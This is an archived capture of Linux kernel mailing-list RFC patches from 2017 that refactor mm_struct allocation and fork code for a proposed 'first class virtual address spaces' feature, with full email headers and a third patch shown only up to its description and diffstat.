Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/168265>

The only way until now to create a new memory map was via the exported
function 'mm_alloc'. Unfortunately, this function not only allocates a new
memory map, but also completely initializes it. However, with the
introduction of first class virtual address spaces, some initialization
steps done in 'mm_alloc' are not applicable to the memory maps needed for
this feature and hence would lead to errors in the kernel code.

Instead of introducing a new function that can allocate and initialize
memory maps for first class virtual address spaces and potentially
duplicate some code, I decided to split the mm_alloc function as well as
the 'mm_init' function that it uses.

Now there are four functions exported instead of only one. The new
'mm_alloc' function only allocates a new mm_struct and zeros it out. If one
want to have the old behavior of mm_alloc one can use the newly introduced
function 'mm_alloc_and_setup' which not only allocates a new mm_struct but
also fully initializes it.

The old 'mm_init' function which fully initialized a mm_struct was split up
into two separate functions. The first one - 'mm_setup' - does all the
initialization of the mm_struct that is not related to the mm_struct
belonging to a particular task. This part of the initialization is done in
the 'mm_set_task' function. This way it is possible to create memory maps
that don't have any task-specific information as needed by the first class
virtual address space feature. Both functions, 'mm_setup' and 'mm_set_task'
are also exported, so that they can be used in all files in the source
tree.

Signed-off-by: Till Smejkal <till.smejkal@gmail.com>
---
 arch/arm/mach-rpc/ecard.c |  2 +-
 fs/exec.c                 |  2 +-
 include/linux/sched.h     |  7 +++++-
 kernel/fork.c             | 64 +++++++++++++++++++++++++++++++++++++----------
 4 files changed, 59 insertions(+), 16 deletions(-)

diff --git a/arch/arm/mach-rpc/ecard.c b/arch/arm/mach-rpc/ecard.c
index dc67a7fb3831..15845e8abd7e 100644
--- a/arch/arm/mach-rpc/ecard.c
+++ b/arch/arm/mach-rpc/ecard.c
@@ -245,7 +245,7 @@ static void ecard_init_pgtables(struct mm_struct *mm)
 
 static int ecard_init_mm(void)
 {
-	struct mm_struct * mm = mm_alloc();
+	struct mm_struct *mm = mm_alloc_and_setup();
 	struct mm_struct *active_mm = current->active_mm;
 
 	if (!mm)
diff --git a/fs/exec.c b/fs/exec.c
index e57946610733..68d7908a1e5a 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -380,7 +380,7 @@ static int bprm_mm_init(struct linux_binprm *bprm)
 	int err;
 	struct mm_struct *mm = NULL;
 
-	bprm->mm = mm = mm_alloc();
+	bprm->mm = mm = mm_alloc_and_setup();
 	err = -ENOMEM;
 	if (!mm)
 		goto err;
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 42b9b93a50ac..7955adc00397 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -2922,7 +2922,12 @@ static inline unsigned long sigsp(unsigned long sp, struct ksignal *ksig)
 /*
  * Routines for handling mm_structs
  */
-extern struct mm_struct * mm_alloc(void);
+extern struct mm_struct *mm_setup(struct mm_struct *mm);
+extern struct mm_struct *mm_set_task(struct mm_struct *mm,
+				     struct task_struct *p,
+				     struct user_namespace *user_ns);
+extern struct mm_struct *mm_alloc(void);
+extern struct mm_struct *mm_alloc_and_setup(void);
 
 /* mmdrop drops the mm and the page tables */
 extern void __mmdrop(struct mm_struct *);
diff --git a/kernel/fork.c b/kernel/fork.c
index 11c5c8ab827c..9209f6d5d7c0 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -747,8 +747,10 @@ static void mm_init_owner(struct mm_struct *mm, struct task_struct *p)
 #endif
 }
 
-static struct mm_struct *mm_init(struct mm_struct *mm, struct task_struct *p,
-	struct user_namespace *user_ns)
+/**
+ * Initialize all the task-unrelated fields of a mm_struct.
+ **/
+struct mm_struct *mm_setup(struct mm_struct *mm)
 {
 	mm->mmap = NULL;
 	mm->mm_rb = RB_ROOT;
@@ -767,24 +769,37 @@ static struct mm_struct *mm_init(struct mm_struct *mm, struct task_struct *p,
 	spin_lock_init(&mm->page_table_lock);
 	mm_init_cpumask(mm);
 	mm_init_aio(mm);
-	mm_init_owner(mm, p);
 	mmu_notifier_mm_init(mm);
 	clear_tlb_flush_pending(mm);
 #if defined(CONFIG_TRANSPARENT_HUGEPAGE) && !USE_SPLIT_PMD_PTLOCKS
 	mm->pmd_huge_pte = NULL;
 #endif
 
+	mm->flags = default_dump_filter;
+	mm->def_flags = 0;
+
+	if (mm_alloc_pgd(mm))
+		goto fail_nopgd;
+
+	return mm;
+
+fail_nopgd:
+	free_mm(mm);
+	return NULL;
+}
+
+/**
+ * Initialize all the task-related fields of a mm_struct.
+ **/
+struct mm_struct *mm_set_task(struct mm_struct *mm, struct task_struct *p,
+			      struct user_namespace *user_ns)
+{
 	if (current->mm) {
 		mm->flags = current->mm->flags & MMF_INIT_MASK;
 		mm->def_flags = current->mm->def_flags & VM_INIT_DEF_MASK;
-	} else {
-		mm->flags = default_dump_filter;
-		mm->def_flags = 0;
 	}
 
-	if (mm_alloc_pgd(mm))
-		goto fail_nopgd;
-
+	mm_init_owner(mm, p);
 	if (init_new_context(p, mm))
 		goto fail_nocontext;
 
@@ -793,11 +808,21 @@ static struct mm_struct *mm_init(struct mm_struct *mm, struct task_struct *p,
 
 fail_nocontext:
 	mm_free_pgd(mm);
-fail_nopgd:
 	free_mm(mm);
 	return NULL;
 }
 
+static struct mm_struct *mm_setup_all(struct mm_struct *mm,
+				      struct task_struct *p,
+				      struct user_namespace *user_ns)
+{
+	mm = mm_setup(mm);
+	if (!mm)
+		return NULL;
+
+	return mm_set_task(mm, p, user_ns);
+}
+
 static void check_mm(struct mm_struct *mm)
 {
 	int i;
@@ -822,10 +847,22 @@ static void check_mm(struct mm_struct *mm)
 #endif
 }
 
+struct mm_struct *mm_alloc(void)
+{
+	struct mm_struct *mm;
+
+	mm = allocate_mm();
+	if (!mm)
+		return NULL;
+
+	memset(mm, 0, sizeof(*mm));
+	return mm;
+}
+
 /*
  * Allocate and initialize an mm_struct.
  */
-struct mm_struct *mm_alloc(void)
+struct mm_struct *mm_alloc_and_setup(void)
 {
 	struct mm_struct *mm;
 
@@ -834,9 +871,10 @@ struct mm_struct *mm_alloc(void)
 		return NULL;
 
 	memset(mm, 0, sizeof(*mm));
-	return mm_init(mm, current, current_user_ns());
+	return mm_setup_all(mm, current, current_user_ns());
 }
 
+
 /*
  * Called when the last reference to the mm
  * is dropped: either by a lazy thread or by
@@ -1131,7 +1169,7 @@ static struct mm_struct *dup_mm(struct task_struct *tsk)
 
 	memcpy(mm, oldmm, sizeof(*mm));
 
-	if (!mm_init(mm, tsk, mm->user_ns))
+	if (!mm_setup_all(mm, tsk, mm->user_ns))
 		goto fail_nomem;
 
 	err = dup_mmap(mm, oldmm);
-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 08/13] kernel/fork: Define explicitly which mm_struct to duplicate during fork
Date: Mon, 13 Mar 2017 15:14:10 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <20170313221415.9375-9-till.smejkal@gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443308 2151 195.159.176.226 (13 Mar 2017 22:15:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:15:08 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-aio@kvack.org Mon Mar 13 23:14:59 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnYEx-0007ll-DD
	for gla-linux-aio@m.gmane.org; Mon, 13 Mar 2017 23:14:55 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 0B7DF6B03A2; Mon, 13 Mar 2017 18:14:54 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id F33D66B03A0; Mon, 13 Mar 2017 18:14:53 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id DACED6B03A1; Mon, 13 Mar 2017 18:14:53 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wr0-f198.google.com (mail-wr0-f198.google.com [209.85.128.198])
	by kanga.kvack.org (Postfix) with ESMTP id 776806B039F
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 18:14:53 -0400 (EDT)
Original-Received: by mail-wr0-f198.google.com with SMTP id u48so46009754wrc.0
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 15:14:53 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=hPnPMUmdxCmL2VZfHCk49qFtrqUABprIraT2deulDPM=;
        b=hPWOl5ayfFKi2zV5Uggv7noheRvXxajZuoVJubBCEm18gXtQghHSED8GETkjN5PVzt
         cv5VQ6ZlCy4DFXbRletxvJYyxLyd8y38IA7/HsMJF9bE++00xg5zHtoNt8n7GyX0t4oo
         HeVQNvND8tY+iXxo5ZWoX0Mq99DjHpmNOm3xJ7DfhGWy6Cv9DiCwKXPSmHeNsOuy6VKy
         8S7mvra1D+zDCXBIm8D9lwUWlAYxLgbZBf3PjsIVw2WivpspLj5H0KdAa0/liWvBxRj6
         tEai1P7ksyGJRluTTIPEbkOpUEf5WuKJtzpAIw839hGiPqSv6IlsjdHEaakTblpM63QY
         Td/g==
X-Gm-Message-State: AFeK/H0DOMewPjct3r0dW9SRKXAmP/H96qcF8w7uXpmcso3ZEevkCkBz6KE0DYFjHArqOASyNl/TXNo1nuHu3w+3OL8niIosD6gYX6hVx3gRffHMtnxdbzpxRFO7YuSYj8r9hlvZZ1A9dpelMmpfCp7qbTdp/W6tG9YfaMx74ppVpkLJBNzaA/58GG8KjnAvIY3t5Zqd2yXTEhCjy39bQegrX8OSbPb47AmG1k+SVJZBMaARV9gblJskfpxAcIGLnVu3pPzH0kFcrK6cFYCNbw/Xz1LbFs+0D1kSlo20dAzA6wrFQ/WGptc=
X-Received: by 10.28.29.201 with SMTP id d192mr12638341wmd.94.1489443293073;
        Mon, 13 Mar 2017 15:14:53 -0700 (PDT)
X-Received: by 10.28.29.201 with SMTP id d192mr12638300wmd.94.1489443292391;
        Mon, 13 Mar 2017 15:14:52 -0700 (PDT)
Original-Received: from mail-wr0-x241.google.com (mail-wr0-x241.google.com. [2a00:1450:400c:c0c::241])
        by mx.google.com with ESMTPS id d27si2319856wrb.106.2017.03.13.15.14.52
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:14:52 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::241 as permitted sender) client-ip=2a00:1450:400c:c0c::241;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::241 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x241.google.com with SMTP id l37so21726216wrc.3;
        Mon, 13 Mar 2017 15:14:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=hPnPMUmdxCmL2VZfHCk49qFtrqUABprIraT2deulDPM=;
        b=vMhH71+EwFar6S8dJ+TBpuvjUbQQwW6fbFDyV+pzcRgqvD1Ws5qyzgc/gkt1bXxCFR
         xwQs/OJcq0wdTe1rd8t3EdrpLO1qe9gpAbhxRCQkua4e7JEeAEI0x5VzrNb23N5hsvG/
         1BonYZJIwyzfdW18iUSjX18fp4ywHZ/PM80CfRWlscq9+I5cfFs9qGktzcxGT9fKT+PG
         Eh9JZMMAJ5CYRQcP31FCvSzCgyN57+Bm2xTURxGnUPlvxv4r+uVfOPF+J1WTc9IFgbrW
         zO6/baRwKCwmlJxRZOr2ArDNDm7xJdy4QUQ4+M0lURgYnBV7P6pJyuiIJXGbGnn8cJjW
         mr6g==
X-Received: by 10.223.163.195 with SMTP id m3mr29043535wrb.83.1489443291833;
        Mon, 13 Mar 2017 15:14:51 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id q4sm13025125wme.17.2017.03.13.15.14.50
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:14:51 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4943 gmane.linux.kernel:2431239 gmane.linux.ports.alpha:4129 gmane.linux.kernel.arc:2218 gmane.linux.ports.arm.kernel:564753 gmane.linux.ports.hexagon:1154 gmane.linux.ports.ia64:27693 gmane.linux.kernel.metag:1263 gmane.linux.ports.mips.general:58339 gmane.linux.ports.parisc:27321 gmane.linux.ports.ppc64.devel:139532 gmane.linux.ports.sh.devel:55127 gmane.linux.ports.sparc:24724 gmane.linux.drivers.video-input-infrastructure:114747 gmane.linux.drivers.mtd:72538 gmane.linux.usb.general:156114 gmane.linux.file-systems:119084 gmane.linux.kernel.mm:168266 gmane.linux.kernel.api:22525 gmane.linux.kernel.cross-arch:35533 gmane.linux.alsa.devel:165311
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4943>

The dup_mm-function used during 'do_fork' to duplicate the current task's
mm_struct for the newly forked task always implicitly uses current->mm for
this purpose. However, during copy_mm it was already decided which
mm_struct to copy/duplicate. So pass this mm_struct to dup_mm instead of
again deciding which mm_struct to use.

Signed-off-by: Till Smejkal <till.smejkal@gmail.com>
---
 kernel/fork.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/kernel/fork.c b/kernel/fork.c
index 9209f6d5d7c0..d3087d870855 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -1158,9 +1158,10 @@ void mm_release(struct task_struct *tsk, struct mm_struct *mm)
  * Allocate a new mm structure and copy contents from the
  * mm structure of the passed in task structure.
  */
-static struct mm_struct *dup_mm(struct task_struct *tsk)
+static struct mm_struct *dup_mm(struct task_struct *tsk,
+				struct mm_struct *oldmm)
 {
-	struct mm_struct *mm, *oldmm = current->mm;
+	struct mm_struct *mm;
 	int err;
 
 	mm = allocate_mm();
@@ -1226,7 +1227,7 @@ static int copy_mm(unsigned long clone_flags, struct task_struct *tsk)
 	}
 
 	retval = -ENOMEM;
-	mm = dup_mm(tsk);
+	mm = dup_mm(tsk, oldmm);
 	if (!mm)
 		goto fail_nomem;
 
-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 09/13] mm/memory: Add function to one-to-one duplicate page ranges
Date: Mon, 13 Mar 2017 15:14:11 -0700
Lines: 896
Approved: news@gmane.org
Message-ID: <20170313221415.9375-10-till.smejkal@gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443318 4301 195.159.176.226 (13 Mar 2017 22:15:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:15:18 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-aio@kvack.org Mon Mar 13 23:15:07 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnYF3-0008Cx-6I
	for gla-linux-aio@m.gmane.org; Mon, 13 Mar 2017 23:15:01 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 2B4366B03A0; Mon, 13 Mar 2017 18:15:00 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 267876B03A1; Mon, 13 Mar 2017 18:15:00 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id F37986B03A4; Mon, 13 Mar 2017 18:14:59 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wm0-f69.google.com (mail-wm0-f69.google.com [74.125.82.69])
	by kanga.kvack.org (Postfix) with ESMTP id 722FD6B03A1
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 18:14:59 -0400 (EDT)
Original-Received: by mail-wm0-f69.google.com with SMTP id n11so15928980wma.5
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 15:14:59 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=wrW6y+Bj1cu7P5TYgkwl2yDAAqhUPZLMhEHLPeJsIg8=;
        b=fyvuSoq17V2YVI/i5+ZjcNE6ywAQa3JW+cWFgH+zT3e/+tumnYA+GFCUwHtc95Uach
         RHSzbaOTbZ7YHw5LegN9nZcO73Tsqmq79NGQ64PRcQQiY8ZuJwA5owLqID34DGzv+drx
         jeyRhQYtq1LLEVQZO5ZEJXhTKWYMlc8KBXupFzzCaV7KhDkGB6ZZhCdki2Hrqxa22eWM
         qRdpN99dtoQ1OeFqvLCZv2G6QreJL7Zz2RXgxXccxgr7Ezhzx+tf6U1TXWDowq7WybR5
         UKw6fC1g/6sxuiNW0rpWvOPDClKp8OZPeDhfnM8cbV7a4SxLgxoLeOp5h6RqkgWq6u3E
         WlyA==
X-Gm-Message-State: AFeK/H2Ra1/VsjbcMMpaVAbLsfn5QTvOr/tDrEhM3Y6EaSOQ75HmXvLk4JbZmTwP0RQ0fZruNA7mnuOtyNtsXa8vqAuRRHwPMNIXHLazYODXNdPSZxrJgmw+ehuV32nAZb1Hbj3xSokj23RQHNv975Ddzwu4WpnuYKWc6yvSBD7K7iZjC7jA7w4LBSblpTVa7yeP8b7vW0yJEKoB3sspJs6bm05BD59Ev+hDVLVS71EjW6r82/cQroldg/YjbBt4DGopcLMcV0RgDVKSJkz8Jnpu8pibp/2mAcXIs7hQ+DRX6LNZ4twX+ew=
X-Received: by 10.28.194.7 with SMTP id s7mr11635685wmf.136.1489443298970;
        Mon, 13 Mar 2017 15:14:58 -0700 (PDT)
X-Received: by 10.28.194.7 with SMTP id s7mr11635630wmf.136.1489443297419;
        Mon, 13 Mar 2017 15:14:57 -0700 (PDT)
Original-Received: from mail-wm0-x243.google.com (mail-wm0-x243.google.com. [2a00:1450:400c:c09::243])
        by mx.google.com with ESMTPS id h66si12561820wmi.3.2017.03.13.15.14.57
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:14:57 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::243 as permitted sender) client-ip=2a00:1450:400c:c09::243;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::243 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wm0-x243.google.com with SMTP id n11so12118644wma.0;
        Mon, 13 Mar 2017 15:14:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=wrW6y+Bj1cu7P5TYgkwl2yDAAqhUPZLMhEHLPeJsIg8=;
        b=ESzAPOCPkno5tYg0DaB+DBguC3khIBDKNgqN65KBrd8AvHL9Trwxz+hiuxJZyMtqNN
         EmiwMWxi0UJo3SutWIgu/K9mIqUPj5DxKymN0AuV42NY6zj3Zn5XJFXkBZfuGq2YLXMl
         KFGKo0WNLnnV1j+keD7ECyIs8v9ZT9sUUr08NrrmkJMc7i9BzLtMNgZT8bP1YObrJyeN
         sX0wP7dff6xAO9gj8VTubtV7c6NmuGEfv83HHYIZVgvm+Kvd1pbNDRP/5/MyRboG+D/e
         MutKZUdSPC72teBdP/I+BEoZPnep6ydB8vQs/5fuHKqXku58jFh4ngZ9Hh0XZl+yV0Ft
         SI5Q==
X-Received: by 10.28.86.214 with SMTP id k205mr10916298wmb.26.1489443296479;
        Mon, 13 Mar 2017 15:14:56 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id j80sm12935692wmd.14.2017.03.13.15.14.54
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:14:55 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4944 gmane.linux.kernel:2431240 gmane.linux.ports.alpha:4130 gmane.linux.kernel.arc:2219 gmane.linux.ports.arm.kernel:564754 gmane.linux.ports.hexagon:1155 gmane.linux.ports.ia64:27694 gmane.linux.kernel.metag:1264 gmane.linux.ports.mips.general:58340 gmane.linux.ports.parisc:27322 gmane.linux.ports.ppc64.devel:139533 gmane.linux.ports.sh.devel:55128 gmane.linux.ports.sparc:24725 gmane.linux.drivers.video-input-infrastructure:114748 gmane.linux.drivers.mtd:72539 gmane.linux.usb.general:156115 gmane.linux.file-systems:119085 gmane.linux.kernel.mm:168267 gmane.linux.kernel.api:22526 gmane.linux.kernel.cross-arch:35534 gmane.linux.alsa.devel:165312
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4944>

Add new function to one-to-one duplicate a page table range of one memory
map to another memory map. The new function 'dup_page_range' copies the
page table entries for the specified region from the page table of the
source memory map to the page table of the destination memory map and
thereby allows actual sharing of the referenced memory pages instead of
relying on copy-on-write for anonymous memory pages or page faults for
read-only memory pages as it is done by the existing function
'copy_page_range'. Hence, 'dup_page_range' will produce shared pages
between two address spaces whereas 'copy_page_range' will result in copies
of pages if necessary.

Preexisting mappings in the page table of the destination memory map are
properly zapped by the 'dup_page_range' function if they differ from the
ones in the source memory map before they are replaced with the new ones.

Signed-off-by: Till Smejkal <till.smejkal@gmail.com>
---
 include/linux/huge_mm.h |   6 +
 include/linux/hugetlb.h |   5 +
 include/linux/mm.h      |   2 +
 mm/huge_memory.c        |  65 +++++++
 mm/hugetlb.c            | 205 +++++++++++++++------
 mm/memory.c             | 461 +++++++++++++++++++++++++++++++++++++++++-------
 6 files changed, 620 insertions(+), 124 deletions(-)

